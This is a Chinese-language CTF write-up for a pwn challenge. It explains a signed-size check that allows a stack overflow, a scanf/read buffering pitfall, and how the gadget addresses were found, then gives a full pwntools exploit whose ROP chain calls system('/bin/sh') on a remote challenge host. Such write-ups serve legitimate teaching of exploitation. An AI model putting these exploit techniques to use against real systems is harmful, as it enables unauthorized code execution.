eyfor

查看防护


防护几乎没开。
这里最重要的就是 stack,栈保护没有开。

Ida 分析


这里的漏洞点就在于 vul (),这里面有

if (size <= 0x2f) {
    read(0, local_buf, size);
    strncpy(global_buf, local_buf, 0x200);
}

问题是 size 在判断时按“有符号数”比较,但传给 read 时会作为无符号长度使用。于是当我们传 -1 时:

  • -1 <= 0x2f 条件成立
  • read(0, buf, -1) 实际会变成超大长度读取
  • local_buf 只有 0x30 字节,直接栈溢出
    这里主函数没有什么有意义的,但是这里的处理逻辑是
  • 程序先读一次 0x30 字节到栈上
  • 然后循环 4 次让我们输入数字
  • 它拿 rand() 和一个栈地址比较,这个条件几乎不可能成立
  • 因此计数器会稳定加满,最后必定走到 scanf("%ld", &x),把我们输入的 -1 传给 vul
    其实这里的 main 函数有伪装性,前面用 read () 来伪装自己,让读者认为这是一个猜随机数的程序,其实并不是。而且 read () 函数和 scanf () 函数在这一道题目里面是混用的,这里就会导致一个问题
    scanf 为了完成解析,往往不会只读刚好 -1 这两个字符。它可能会顺手从底层 fd 里多读一大坨数据到自己的用户态缓冲区里,然后再从这坨缓冲里解析出 %ld
    程序关键流程是:
read(0, buf1, 0x30);        // 第一段输入
...
scanf("%ld", &x);           // 读 size
vul((int)x);

void vul(int size) {
    system("date");
    if (size <= 0x2f) {
        read(0, buf2, size);   // 这里才是我们要喂溢出 payload 的地方
    }
}

问题在于最后这组:

  • scanf("%ld", &x)
  • read(0, buf2, size)

如果你把 -1 和溢出数据一次性发过去,scanf 很可能把后面的 payload 提前吸进自己的缓冲,导致后面的 read 读不到。

错误发包方式

from pwn import *

io = remote(host, port, ssl=True)

io.send(b"A" * 0x30)

for _ in range(4):
    io.recvuntil(b"message:\n")
    io.sendline(b"0")

payload = b"/bin/sh\x00".ljust(0x38, b"A")
payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(buf)
payload += p64(system_plt)

# 错误:把 -1 和溢出数据一次性发过去
io.send(b"-1\n" + payload)

为什么错:

  • scanf("%ld", &x) 可能不只读取 -1\n
  • 它可能把后面的 payload 也一并从 fd 里拿走,放进自己的 stdin 缓冲
  • 之后 vul() 里的 read() 再去底层 fd 读时,已经没数据了
  • 结果就是阻塞、EOF,或者 payload 不生效

正确发包方式

from pwn import *

io = remote(host, port, ssl=True)

io.send(b"A" * 0x30)

for _ in range(4):
    io.recvuntil(b"message:\n")
    io.sendline(b"0")

payload = b"/bin/sh\x00".ljust(0x38, b"A")
payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(buf)
payload += p64(system_plt)

# 第一步:只发给 scanf 用的数字
io.sendline(b"-1")

# 第二步:等程序从 scanf 走出来,进入 vul()
# 这题里 vul() 先执行 system("date")
io.recvrepeat(0.5)

# 第三步:这时候再单独发给 read() 的二进制 payload
io.send(payload)

io.interactive()

为什么对:

  • scanf 只拿到 -1\n
  • 后面的 payload 还没发,所以它不可能提前偷吃
  • 程序进入 vul() 后,执行到 read() 时,payload 才真正发送
  • 这时数据是直接留给 read() 的,利用链就稳定了

错误方式:

io.send(b"给 scanf 的内容" + b"给 read 的内容")

正确方式:

io.send(b"给 scanf 的内容")
等 scanf 结束
io.send(b"给 read 的内容")

所以利用链是这样的:

  1. 第一次输入任意 0x30 字节
  2. 四轮 message: 都输入 0
  3. 最后输入 -1
  4. 进入 vul() 后,先执行一次 system("date")
  5. 然后触发超长 read,覆盖返回地址
  6. 同时把命令字符串放在栈溢出数据开头
  7. 程序会把这段数据 strncpy 到全局 buf(0x6010c0)
  8. ROP 调用 system(buf)

关键参数:

  • 返回地址偏移:0x38
  • ret0x40063e
  • pop rdi ; ret0x400983
  • 全局 buf0x6010c0
    这四个参数的来源不一样,但都可以从二进制里直接确认,不需要猜。我按这题的实际过程逐个拆开讲。
    返回地址偏移 0x38
    IDA 信息是:
char nbytes[52]; // [rsp+Ch] [rbp-34h] BYREF

这表示:

  • 数组 nbytes 的起点在 rbp-0x34
  • 数组大小是 52 = 0x34

所以这个数组覆盖的范围是:

rbp-0x34  到  rbp-0x1

但程序没有从 nbytes[0] 开始写,而是从:

&nbytes[4]

开始写。

所以实际溢出的写入起点是:

rbp-0x34 + 0x4 = rbp-0x30

而返回地址的位置是标准栈帧里的:

[rbp+0x8]

所以从 read 的实际写入起点,到返回地址的距离就是:

(rbp + 0x8) - (rbp - 0x30) = 0x38

ret = 0x40063e

这个不是“主功能 gadget”,而是一个单独的 ret,主要用来做栈对齐。X 64 下有些时候直接跳 pop rdi ; ret -> system 会因为栈没 16 字节对齐而出问题,所以常常在前面垫一个单 ret

这个地址是用 gadget 工具扫出来的,比如:

ROPgadget --binary pwn4 --only 'pop|ret'

结果里会有:

0x000000000040063e : ret

所以我就把它拿来当对齐 gadget 了。

pop rdi ; ret = 0x400983

这个也是 ROP gadget 扫出来的。还是那条命令:

ROPgadget --binary pwn4 --only 'pop|ret'

输出里能看到:

0x0000000000400983 : pop rdi ; ret

为什么这个 gadget 是关键的?因为在 amd 64 System V 调用约定里,函数第一个参数放在 rdi。我们最终想做的是:

system(buf);

所以在 ROP 链里必须先把 buf 地址塞进 rdi,再跳去 system。这就是 pop rdi ; ret 的作用。

全局 buf = 0x6010c0

这个是从符号表里直接看到的。二进制没有 strip,所以全局符号名还在。用:

nm -n pwn4

可以看到:

00000000006010c0 B buf

这里的意思是:

  • 符号名叫 buf
  • 地址是 0x6010c0
  • B 表示它在 .bss 段,是个全局未初始化变量

同时在 vul() 反汇编里也能交叉验证:

lea    rdi, [rip+0x2008c0]   # 6010c0 <buf>
call   strncpy

说明程序确实会把我们控制的栈数据复制到这个全局地址上。于是我们就可以让 ROP 链去调用:

system(0x6010c0)

也就是把我们写进 buf 的命令字符串拿去执行。
也可以直接去 ida 中找
最终的 exp

from pwn import *  
  
  
HOST = args.HOST or "905f61c70f93b15c1b1c1420.tcp-ctf2.dasctf.com"  
PORT = int(args.PORT or 9999)  
USE_SSL = args.SSL or True  
  
context.binary = elf = ELF(r"/mnt/c/Users/jie ge/Desktop/pwn/pwn4", checksec=False)  
context.arch = "amd64"  
context.log_level = "info"  
  
  
RET = 0x40063E  
POP_RDI = 0x400983  
BUF = 0x6010C0  
OFFSET = 0x38  
CMD = (args.CMD or "/bin/sh").encode()  
  
  
def start():  
    if args.REMOTE:  
        return remote(HOST, PORT, ssl=USE_SSL)  
    return process(elf.path)  
  
  
def solve(io):  
    io.send(b"A" * 0x30)  
  
    for _ in range(4):  
        io.recvuntil(b"message:\n")  
        io.sendline(b"0")  
  
    io.sendline(b"-1")  
  
    # vul() calls system("date") before the oversized read.  
    # Local and remote images may print different outputs here, so just    # consume one line from the shell invocation if it appears.    io.recvrepeat(0.5)  
  
    payload = flat(  
        CMD + b"\x00",  
        b"A" * (OFFSET - len(CMD) - 1),  
        RET,  
        POP_RDI,  
        BUF,  
        elf.plt["system"],  
    )  
  
    io.send(payload)  
    if args.CMD:  
        data = io.recvrepeat(1)  
        if data:  
            print(data.decode("latin1", errors="ignore"), end="")  
    else:  
        io.interactive()  
  
  
if __name__ == "__main__":  
    io = start()  
    solve(io)
posted @ 2026-09-07 09:58  JIEGE328  阅读(3)  评论(0)    收藏  举报